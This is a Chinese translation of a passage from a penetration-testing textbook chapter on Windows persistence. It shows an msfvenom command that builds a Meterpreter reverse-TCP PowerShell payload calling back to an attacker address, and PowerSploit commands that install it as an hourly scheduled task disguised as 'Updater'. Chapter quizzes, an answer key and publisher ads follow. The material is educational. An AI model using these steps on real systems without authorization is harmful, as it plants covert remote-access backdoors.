在 Kali 的早期版本中,我们需要手动拉取最新的 PowerSploit。今天,它已经内置并且可以通过 apt 更新,所以你可以立即使用 powersploit 并启动 SimpleHTTPServer,这样我们就可以将工具传送到我们的 Windows 10 机器,在那里我们将准备持久化脚本:

图 17.11 – 在 PowerSploit 文件夹内设置 HTTP 服务器

图 17.11 – 在 PowerSploit 文件夹内设置 HTTP 服务器

在 Windows 10 攻击机上运行浏览器,下载整个Persistence文件夹。如果你是单独下载文件,只需确保它们最终被放入名为Persistence的本地文件夹中:

图 17.12 – 从 Kali 攻击者处获取 PowerSploit 模块

图 17.12 – 从 Kali 攻击者处获取 PowerSploit 模块

现在,我们需要在 PowerShell 中安装持久化模块。我们所要做的就是将新获取的Persistence文件夹移动到我们系统上的 PowerShell 模块路径中。启动 PowerShell,并用$Env:PSModulePath显示PSModulePath环境变量:

图 17.13 – 确认模块路径

图 17.13 – 确认模块路径

只需像平常一样剪切并粘贴Persistence文件夹到你的模块路径中。你应该能在这个位置看到其他已安装的模块。

放慢节奏。不要急着打开香槟。如果你使用的是刚安装好的 Windows 虚拟机作为攻击者,可能会为 PowerShell 设置了受限的执行策略。我们需要用Set-ExecutionPolicy -ExecutionPolicy Unrestricted来打开它。然后,我们可以通过Import-Module Persistence导入我们新的高级模块。你将会被提示授权成为一个恶意黑客。默认选项是不运行,所以请确保在命令提示符下输入R。完成所有操作后,你可以像使用任何其他模块一样,启动Get-Help cmdlet:

图 17.14 – 持久化模块帮助屏幕

图 17.14 – 持久化模块帮助屏幕

看到这儿有三个脚本吗?它们一起协作构建一个单一的有效载荷。让我们开始构建我们自己的。

配置和执行 Meterpreter 持久化

现在,我们已经准备好构建要与世界分享的礼物。首先,我们需要理解这三个脚本是如何工作的。它们不是可以根据需要挑选的独立工具;它们是一个工具。要创建任何持久化脚本,你需要按特定的顺序运行这三个脚本:

  • New-UserPersistenceOptionNew-ElevatedPersistenceOption必须首先执行。顺序无关紧要,只要它们在最后一个脚本Add-Persistence之前执行。这两个脚本用于定义将进入最终产品的持久化细节。为什么是两个?因为你要告诉有效载荷如何处理作为标准用户或特权用户的情况。也许你想根据管理员是否运行它来配置这些设置。现在,我们就先将设置设为相同。

  • Add-Persistence需要在前两个脚本中定义的配置。这些作为环境变量传递给Add-Persistence,由你选择。

明白了吗?让我们深入了解。首先,我们需要一个有效载荷。幸运的是,任何旧的 PowerShell 脚本都可以很好地工作。也许你有一个喜欢的脚本,来自我们之前回顾的 PowerShell。也许你自己写过一个。现在,我们将使用超级有用的msfvenom生成一个示例。它的格式选项之一就是 PowerShell!

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.154.131 LPORT=8008 -f psh > attack.ps1

我最后得到了一个 2.5 KB 的有效载荷——还不错:

图 17.15 – 准备我们的有效载荷并交付它

图 17.15 – 准备我们的有效载荷并交付它

将那个脚本传输到你的脚本构建器系统上(我再次使用了SimpleHTTPServer;我真是太喜欢它了)。不要把它带到目标上;我们还没有我们的持久性脚本。记住,如果你只有一台 Windows 主机,那么你的脚本构建器和目标是同一台系统。

现在,我们运行这三个脚本——两个选项脚本,其输出存储为环境变量,然后是持久性脚本,它将选项传入并定义有效载荷脚本:

$userop = New-UserPersistenceOption -ScheduledTask -Hourly

$suop = New-ElevatedPersistenceOption -ScheduledTask -Hourly

Add-Persistence -FilePath .\attack.ps1 -ElevatedPersistenceOption $suop -UserPersistenceOption $userop

查看持久性模块输出的脚本文件大小:

图 17.16 – 有效载荷已打包并准备就绪

图 17.16 – 有效载荷已打包并准备就绪

运行lsdir来验证它是否成功。你应该看到两个新的脚本——Persistence.ps1RemovePersistence.ps1。后者是为了在你需要时清理你的烂摊子。这在渗透测试中非常重要,所以不要丢了那个文件!把Persistence.ps1传到你的目标上。

和往常一样,下一步是等待我们的忠实包开始报告。让我们来看一下如何执行和验证它。

潜伏等待 – 验证持久性

在目标上执行Persistence.ps1(如何完成这一步仅受你想象力的限制,小小的草蜢)。就这样。没有爆炸,没有五彩纸屑。那么,让我们看看幕后到底发生了什么。打开目标系统上的任务计划程序

图 17.17 – 目标上的任务计划程序

图 17.17 – 目标上的任务计划程序

在此系统上计划运行的任务中,请注意一个名为Updater的小家伙。它设计为每小时触发一次 PowerShell 脚本。这里说下一个运行时间是 2:30。好吧,现在还不到这个时间,所以我将重启目标,去喝杯咖啡,放松一下,同时让 Meterpreter 监听它的“子民”的歌声。与此同时,让我们看看持久性脚本做了什么。

在我们在 PowerShell ISE 中打开Persistence.ps1之前,让我先在启用了自动换行记事本中展示该脚本。我已经标出正在持久化的实际有效载荷:

图 17.18 – 为任务调度打包的有效载荷

图 17.18 – 为任务调度打包的有效载荷

这是一个压缩的 Base64 流。现在,让我们在 ISE 中查看其余内容:

图 17.19 – 为学习和调整打开的有效载荷

图 17.19 – 为学习和调整打开的有效载荷

这里的内容无法完全展示,因此我鼓励你仔细研究并理解其中的操作。例如,查看$Payload声明——schtasks /Create /SC HOURLY /TN Updater(依此类推)。这将帮助你了解脚本的工作原理,同时也为你提供了根据需要进行调整的机会。

摘要

在本章中,我们探索了在成功建立网络访问后,如何保持对目标系统的访问。这样我们就有更多时间收集信息,并可能加深入侵。我们了解到现代威胁是持久性的,因此作为渗透测试人员,将这些技巧纳入我们的技能库,能够增加评估对客户的价值。我们在解释如何使用更复杂的有效载荷与这些持久化工具时,生成了msfvenom有效载荷。我们还探讨了 Metasploit 和 PowerShell Empire 的持久化能力,了解了通过 netcat 和 Meterpreter 快速轻松地构建持久化后门。最后,我们展示了 PowerSploit 框架的持久化模块,通过将脚本嵌入代码中,使有效载荷在目标上保持持久化。

如果你还清醒的话,恭喜你——你已经完成了我们的旅程!但正如我之前所说,我们只是刚刚涉足了这些清新的水域。如果你想深入探索,可以考虑注册Hack The Box,这是互联网上顶级的黑客训练平台。你可以从初学者开始,逐步提升到高级水平,参与学院课程获取在线培训,并返回战场实践新技能。整个过程是游戏化的,因此既容易跟踪进度,又充满乐趣。

这非常适合练习、娱乐和培训,但如果你在寻找企业级的培训,并且希望通过真正具有挑战性的认证过程来增强简历,那还得是 Kali 的实际创造者。前往 Offensive Security 获取入门级和高级培训课程,还可以通过 Proving Grounds 试验新技能。

那些是两个很棒的资源,但最终的结论是,黑客的真正精神和推动力不是你能买到的东西——它是一种态度、一种生活方式,以及解决问题的方式,无论是在电脑上还是生活中的其他方面。促使你拿起这本书的动力就是你继续走这条路所需要的东西,所以培养它,并为一个真正充实的职业和爱好做好准备。

问题

回答以下问题以测试你对本章内容的掌握情况:

  1. persistence_exe 模块通过在 _________ 中添加一个值来工作。

  2. msfvenom 标志 -f psh 是什么意思?

  3. PowerSploit 持久化模块脚本必须按以下顺序运行:1)New-UserPersistenceOption,2)New-ElevatedPersistenceOption,3)Add-Persistence – 对还是错?

  4. 一个黑客在一个被攻陷的 Windows Server 2008 服务器上上传并持久化了 netcat。然后,他们运行此命令以允许他们的连接进入后门 – netsh advfirewall firewall add rule name="WindowsUpdate" dir=out action=allow protocol=TCP localport=9009。他们无法连接到后门。为什么?

  5. 永久 WMI 订阅以 _____ 方式运行。

  6. 在 Metasploit 中,.rc 文件是一个 _________。

  7. 使用 reg setval 时,HKEY_LOCAL_MACHINE 缩写为 ________。

进一步阅读

关于本章涉及的主题,查看以下资源获取更多信息:

第十六章:答案

第一章

  1. OSINT(开放源情报)可以包括纯粹的被动信息收集,也可以使用目标的公共资源,这在本质上并不完全是被动的。

  2. 危害的可能性和影响。

  3. 转换。

  4. 香农定理。

  5. 错误。横幅抓取可以为后续阶段提供信息,从而节省攻击者时间。

第二章

  1. apd 代表接入点守护进程。

  2. iw list 命令中搜索“支持的接口模式”。

  3. 它告诉接入点忽略那些未指定网络 SSID 的探测请求帧。

  4. 零网络。

  5. 在开始攻击之前,必须启用 IP 转发。

  6. 组织唯一标识符和网络接口控制器。

  7. 错误。TCP/IP 头部不包括在 MSS 中。

  8. Jump 标志,指定匹配规则的数据包采取的动作。

  9. REPLY=sr1(IP/TCP)

第三章

  1. 被动嗅探。

  2. MAC 地址。

  3. 端点。

  4. tcp.flags.ack==1

  5. 错误。if 语句的开括号前可以有空格,但函数内部不可以。

  6. drop()

  7. -q

  8. .ef

  9. 互联网控制消息协议(ICMP)。

第四章

  1. 错误。所有输出都是固定长度的,因此对于空输入有一个唯一的哈希值。

  2. 雪崩攻击。

  3. LM 哈希密码实际上是两个 7 个字符的部分拼接而成;LM 哈希密码不区分大小写。

  4. 服务器挑战是随机生成的,用于加密响应,因此每个挑战都会为相同密码生成不同的网络哈希值。

  5. NetBIOS 名称服务。

  6. 错误。相反的情况才是对的。

  7. mask==?d?d?s[Q-Zq-z][Q-Zq-z]

  8. 正确。

第五章

  1. 错误。-T5 会导致最快的扫描。

  2. Maimon 扫描设置了 FIN/ACK,并且还有 PSH 和 URG;Xmas 设置了 FIN 并带有 PSH 和 URG。

  3. 正确。

  4. 客户端(htc)和服务器(hts)。

  5. 邻居发现协议(NDP)。

  6. ff02:0000:0000:0000:0000:0000:0000:0001

第六章

  1. 0110011010001111

  2. 电子代码本。

  3. 填充。

  4. -encoding 2

  5. 四。

  6. 160 和 512。

  7. 错误。“Oracle”是指信息泄露概念。

第七章

  1. 单件、阶段器和阶段。

  2. \x00

  3. --arch x86-a x86

  4. 方法。

  5. print_good() 显示一个绿色的加号表示成功。

  6. 错误。你可以查看图标或表格。

  7. EXITFUNCthread

  8. 错误。它不再默认启用。

第八章

  1. import 语句。

  2. socket 调用操作系统中的低级套接字 API;某些用法可能依赖于平台。

  3. 错误。通过 python3 调用脚本不需要 shebang 和解释器路径。

  4. 无论是 break 还是 continue 都会影响执行。

  5. 错误。文件必须在目标平台上创建。

  6. _thread

  7. 错误。缺少restore函数会导致 ARP 表被污染,但攻击仍然可以发生。

第九章

  1. Get-ChildItem

  2. 它将其转换为二进制(基数 2)。

  3. Select-String

  4. 错误。文件夹必须存在。

  5. 错误。cert.sh 只是生成一个自签名证书。浏览器会对自签名证书显示警告。

第十章

  1. 后进先出。

  2. 堆栈指针,ESP。

  3. 源地址,目标地址。

  4. 错误。jnz 会在零标志没有设置时导致执行跳转。

  5. 堆栈帧。

  6. 错误。\x90 是 NOP(无操作)。这个问题是在暗指\x00

  7. 小端(Little-endian)是指字节顺序——最低有效位(“小端”)优先。它是 IA-32 架构的标准。

第十一章

  1. 软件和硬件两种方式。

  2. libc 是 C 标准库。

  3. 随便你喜欢。你可以在 MSFrop 和 ROPgadget 中通过--depth标志定义 5 个或 100 个字节。

  4. ASLR。

  5. PLT 将函数调用转换为绝对目标地址;GOT 将地址计算转换为绝对目标。

  6. 打开gdb [binary],使用disas反汇编main(),然后查找system@plt调用。

  7. > 操作符将二进制数据打包为大端序;x86 处理器是小端序。

第十二章

  1. VirtualAllocEx() 在外部进程的内存中分配空间。

  2. 错误。MiniDumpWriteDump() 可以创建任何进程的迷你转储。

  3. 错误。代码洞由空字节(null bytes)组成。

  4. --xp_mode 允许我们修补后的可执行文件在 Windows XP 上运行;BDF 的默认行为是在 XP 系统上崩溃,因为 XP 可能被用于沙箱操作。

第十三章

  1. 硬件抽象层HAL)。

  2. 抢占式。

  3. 变量在内存中的位置。

  4. 六。

  5. 16 位。

  6. 错误。虽然有可能,但会导致系统不稳定或被攻破。

  7. 0xFFFFFFFF 是带符号的。

  8. 反射式 DLL 注入可以将二进制文件加载到内存中;通常,DLL 必须从磁盘读取。

第十四章

  1. 错误。模糊测试(Fuzzing)不是攻击,也不能生成 shellcode;它是为了帮助漏洞开发。

  2. R 管理员。

  3. 扩展指令指针EIP)。

  4. pattern_create.rbpattern_offset.rb

  5. 目标架构是小端序,所以拼接的地址应该是0xb155a704

第十五章

  1. 这是预期的。扫描由受感染的主机发起,目标是我们界面不可见的网络。

  2. 我忘记了-i标志来设置交互式通道。

  3. 会话 ID。

  4. 错误。受损主机在发起活动。我们系统与目标上 Meterpreter 会话之间的通信渠道完全独立。

  5. 正确。然而,使用端口扫描工具不应被视为隐秘的做法。

  6. 错误。Windows 密码没有进行盐加工。

  7. EXITFUNC配置为thread

第十六章

  1. FIFOs。

  2. 错误。WCHAR 只是指比 8 位更宽。可以是 16 位或 32 位。

  3. Windows 管理仪表盘。

  4. 进程间通信。

  5. 进程 ID。

  6. DPM 副本。

  7. 用于加密密码数据的SYSKEY

第十七章

  1. Windows 注册表。

  2. 它以 PowerShell 格式创建有效载荷。

  3. 错误。前两者可互换。然而,Add-Persistence 必须放在最后。

  4. 他意外地将流量设置为出口而不是入口。

  5. SYSTEM

  6. 资源文件。

  7. HKLM

Packt.com

订阅我们的在线数字图书馆,全面访问超过 7,000 本书籍和视频,以及行业领先的工具,帮助你规划个人发展并推动职业生涯。如需更多信息,请访问我们的网站。

第十七章:为什么要订阅?

  • 花更少的时间学习,花更多的时间编程,通过来自 4,000 多名行业专业人士的实用电子书和视频

  • 通过特别为你打造的技能计划提升你的学习效果

  • 每月获取一本免费电子书或视频

  • 完全可搜索,便于快速获取关键信息

  • 复制、粘贴、打印和书签内容

你知道 Packt 提供每本书的电子书版本,包括 PDF 和 ePub 文件吗?你可以在 packt.com 升级为电子书版本,并且作为印刷版书籍的客户,你有权享受电子书折扣。欲了解更多详情,请通过 customercare@packtpub.com 与我们联系。

www.packt.com,你还可以阅读一系列免费的技术文章,注册多种免费的电子通讯,并获得 Packt 书籍和电子书的独家折扣和优惠。

你可能会喜欢的其他书籍

如果你喜欢这本书,你可能对 Packt 的其他书籍感兴趣:

渗透测试 Azure for Ethical Hackers

David Okeyode, Karl Fosaaen

ISBN: 9781839212932

  • 识别管理员如何错误配置 Azure 服务,导致其容易被利用

  • 了解如何检测云基础设施、服务和应用程序的错误配置

  • 探索利用常见 Azure 安全问题的过程和技术

  • 使用本地网络在 Azure 中进行权限跳跃和升级访问

  • 诊断 Azure 安全实施中的差距和漏洞

  • 了解攻击者如何在 Azure AD 中提升权限

终极 Kali Linux 书籍

Glen D. Singh

ISBN: 9781801818933

  • 探索道德黑客的基本原理

  • 了解如何安装和配置 Kali Linux

  • 执行资产和网络发现技术

  • 专注于如何进行漏洞评估

  • 利用 Active Directory 域服务中的信任关系

  • 使用命令和控制(C2)技术进行高级利用

  • 实施高级无线黑客技术

  • 熟练掌握利用漏洞的 Web 应用程序

Packt 正在寻找像你这样的作者

如果您有兴趣成为 Packt 的作者,请访问 authors.packtpub.com 并今天就提交申请。我们与成千上万的开发者和技术专业人士合作,帮助他们将自己的见解分享给全球技术社区。您可以提交一般申请,申请我们正在招募作者的特定热门话题,或提交您自己的创意。

分享您的想法

现在您已经完成了 《从零开始的 Windows 和 Linux 渗透测试》,我们很想听听您的想法!如果您是从 Amazon 购买的这本书,请 点击这里直接进入 Amazon 评价页面,分享您的反馈或在您购买书籍的网站上留下评论。

您的评价对我们和技术社区非常重要,能帮助我们确保提供优质的内容。

posted @ 2025-06-23 19:08  绝不原创的飞龙  阅读(228)  评论(0)    收藏  举报